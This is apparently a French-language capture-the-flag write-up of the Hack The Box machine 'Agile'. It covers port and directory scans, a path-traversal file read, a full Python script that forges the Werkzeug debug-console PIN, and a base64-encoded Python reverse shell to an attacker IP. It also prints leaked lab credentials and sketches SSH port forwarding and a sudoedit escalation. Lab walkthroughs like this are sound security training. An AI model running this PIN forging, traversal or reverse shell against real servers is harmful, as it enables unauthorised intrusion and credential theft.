Nmap
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
──(kali㉿kali)-[~]
└─$ nmap -sV -sC -p- 10.129.160.55
Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-29 05:19 EDT
Nmap scan report for superpass.htb (10.129.160.55)
Host is up (0.020s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 f4bcee21d71f1aa26572212d5ba6f700 (ECDSA)
|_ 256 65c1480d88cbb975a02ca5e6377e5106 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: SuperPassword \xF0\x9F\xA6\xB8
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 17.61 seconds
ffuf
Avec ffuf on a ce résultat pour les sous dossiers :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
──(kali㉿kali)-[~]
└─$ ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt:FUZZ -u http://superpass.htb/FUZZ -fs 6128
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.0.0-dev
________________________________________________
:: Method : GET
:: URL : http://superpass.htb/FUZZ
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405,500
:: Filter : Response size: 6128
________________________________________________
[Status: 302, Size: 249, Words: 18, Lines: 6, Duration: 174ms]
* FUZZ: download
[Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 22ms]
* FUZZ: static
[Status: 302, Size: 243, Words: 18, Lines: 6, Duration: 44ms]
* FUZZ: vault
Le site
Le site est une sorte de bitwarden.
On peut ajouter un mot de passe, le supprimer etc.
Il s’agit d’un site flask, on le sait en générant une erreur, par exemple à une connexion (c’est instable mais ça a tout de même permis de connaître cette information). Les champs ne semblent pas être vulnérables à une ssti, comme on s’y attend souvent avec un site sous flask.
Seule la partie download n’est pas présentée sur le site, on va donc s’empresser de voir ce qu’elle permet.
/download
Si on tape juste le point d’accès download, on a une erreur (qui permet de confirmer qu’il s’agit d’une application flask).
On voit directement le code.
Il est très simple, il prend en paramètre un argument ‘fn’ et cherche le fichier correspondant s’il existe.
Il n’y a aucune désinfection du paramètre, aussi un simple paramètre fn=../etc/passwd
nous permet de dump le fichier sous forme de csv.
Il y a deux user avec un home : edwards, corum et dev_admin.
Werkzeug
On a accès à la console, on va donc tenter de générer le pin avec le code de cette version de werkzeug :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
#!/usr/bin/env python3
import dotenv, hashlib, itertools
def generate_machine_id(machine_id, boot_id, cgroup):
linux = b""
if machine_id:
linux += bytes(machine_id, encoding='utf-8')
else :
linux += bytes(boot_id, encoding='utf-8')
linux += bytes(cgroup.split("/")[-1], encoding='utf-8')
if linux is not None:
return linux
def get_uuid(mac_address):
uuid = str(int(mac_address.replace(":", ""),16))
return uuid
def generate_pin(public_bits, private_bits):
rv = None
pin = None
num = None
hash = hashlib.sha1()
for bit in itertools.chain(public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode("utf-8")
hash.update(bit)
hash.update(b"cookiesalt")
cookie_name = f"__wzd{hash.hexdigest()[:20]}"
if num is None:
hash.update(b"pinsalt")
num = f"{int(hash.hexdigest(), 16):09d}"[:9]
if rv is None:
for group_size in 5,4,3:
if len(num) % group_size == 0:
rv = "-".join(
num[x : x + group_size].rjust(group_size, "0")
for x in range(0, len(num), group_size))
break
else:
rv = num
print(f"Public Bits : f{public_bits}")
print(f"Pin code : {rv} | cookie name : {cookie_name}")
if __name__ == "__main__":
env = dotenv.dotenv_values()
machine_id = env.get("MACHINEID")
boot_id = env.get("BOOTID")
cgroup = env.get("CGROUP")
username = env.get("USERNAME")
flask_path = env.get("FLASKPATH")
mac_address = env.get("DEVICEMACADDRESS")
if env is None or \
boot_id == "" or \
cgroup == "" or \
username == "" or \
flask_path == "" or \
mac_address == "":
print("You must fill all the entries int he .env file.")
exit(1)
private_bits = [get_uuid(mac_address),generate_machine_id(machine_id, boot_id, cgroup)]
print(private_bits)
modnames = ["flask.app", "werkzeug.debug"]
apps = ["Flask", "wsgi_app", "DebuggedApplication"]
for modname in modnames:
for app in apps:
public_bits = [username, modname, app, flask_path]
generate_pin(public_bits, private_bits)
Avec un .env :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# env file used to generate the pin code for werkzeug console.
# All values are samples. Try to leak your own values !
MACHINEID="ed5b159560f54721827644bc9b220d00" # ie /etc/machine-id. If not found, refer to boot-id
BOOTID="79ebdecc-32c3-4fd7-8e35-e2b400317a57" # ie /proc/sys/kernel/random/boot_id
CGROUP="0::/system.slice/superpass.service" #ie /proc/self/cgroup
USERNAME="www-data" # ie /proc/self/environ
FLASKPATH="/app/venv/lib/python3.10/site-packages/flask/app.py"#sample
DEVICEMACADDRESS="00:50:56:96:2f:9d" # Sample. Leak /proc/net/arp then, leak /sys/class/net/<device>/address. Enter the mac address.
Ce qui nous donne comme résultats :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
kibatche@kibatche-System-Product-Name:/media/kibatche/Achille/shared_folder_vm/HTB/Boxes/Agile$ ./werkzeug_generate_pin.py
['345050066845', b'ed5b159560f54721827644bc9b220d00superpass.service']
Public Bits : f['www-data', 'flask.app', 'Flask', '/app/venv/lib/python3.10/site-packages/flask/app.py']
Pin code : 940-671-208 | cookie name : __wzd5b18af0a915bb04d69e0
Public Bits : f['www-data', 'flask.app', 'wsgi_app', '/app/venv/lib/python3.10/site-packages/flask/app.py']
Pin code : 107-923-781 | cookie name : __wzd3c4b320f8234bb237797
Public Bits : f['www-data', 'flask.app', 'DebuggedApplication', '/app/venv/lib/python3.10/site-packages/flask/app.py']
Pin code : 871-298-182 | cookie name : __wzd6aae691df26d92e8fe95
Public Bits : f['www-data', 'werkzeug.debug', 'Flask', '/app/venv/lib/python3.10/site-packages/flask/app.py']
Pin code : 690-460-006 | cookie name : __wzd690032cbc16664857bba
Public Bits : f['www-data', 'werkzeug.debug', 'wsgi_app', '/app/venv/lib/python3.10/site-packages/flask/app.py']
Pin code : 814-957-451 | cookie name : __wzdb0228e28f104c7a49d6e
Public Bits : f['www-data', 'werkzeug.debug', 'DebuggedApplication', '/app/venv/lib/python3.10/site-packages/flask/app.py']
Pin code : 173-461-126 | cookie name : __wzd74c32e5b18e85b88455f
Le second pin-code : 107-923-781 est le bon !
Dans la console on peut faire un reverse shell :
1
__import__('os').popen('echo cHl0aG9uMyAtYyAnaW1wb3J0IG9zLHB0eSxzb2NrZXQ7cz1zb2NrZXQuc29ja2V0KCk7cy5jb25uZWN0KCgiMTAuMTAuMTQuMzEiLDQyNDIpKTtbb3MuZHVwMihzLmZpbGVubygpLGYpZm9yIGYgaW4oMCwxLDIpXTtwdHkuc3Bhd24oInNoIikn | base64 -d | bash').read();
Ce qui est en base64 représente un reverse shell avec la commande python.
www-data
On est www-data.
On peut essayer de voir ce qui se trouve dans l’app.
Dans le dossier app, on a un fichier de lisible : la config :
1
{"SQL_URI": "mysql+pymysql://superpassuser:dSA6l7q*yIVs$39Ml6ywvgK@localhost/superpass"}
On peut tenter de se connecter avec mysql.!
On retrouve le user corum. On voit qu’il a un mot de passe enregistré pour agile.
On tente la connexion en ssh : bingo ! On a le user.
corum:5db7caa1d13cc37c9fc2
Élévation de privilèges
On passe linpeas et on voit qu’il y a quelque chose de noté avec google chrome.
En cherchant on tombe sur le port forwarding de ce port, et la possibilité de leak le test du site.
On peut donc faire un portforwarding via ssh :
1
ssh -L 41829:127.0.0.1:41829 corum@superpass.htb
Ensuite on peut accéder au site via google chrome et le mode de débug à distance.
Payload ici.
On peut accéder au site test et tomber sur une nouvelle paire utilisateur/mot de passe :
1
2
3
<td>agile</td>
<td>edwards</td>
<td>d07867c6267dcb5df0af</td>
Cela ne nous mène pas à root, mais peut-être que ce user nous mènera à root.
edwards:d07867c6267dcb5df0af
En faisant sudo -l on voit qu’on peut exécuter sudoeit avec les droit de dev_admin.
On peut changer le script activate et faire un reverse shell qui nous donne accès à root.
Excellente machine.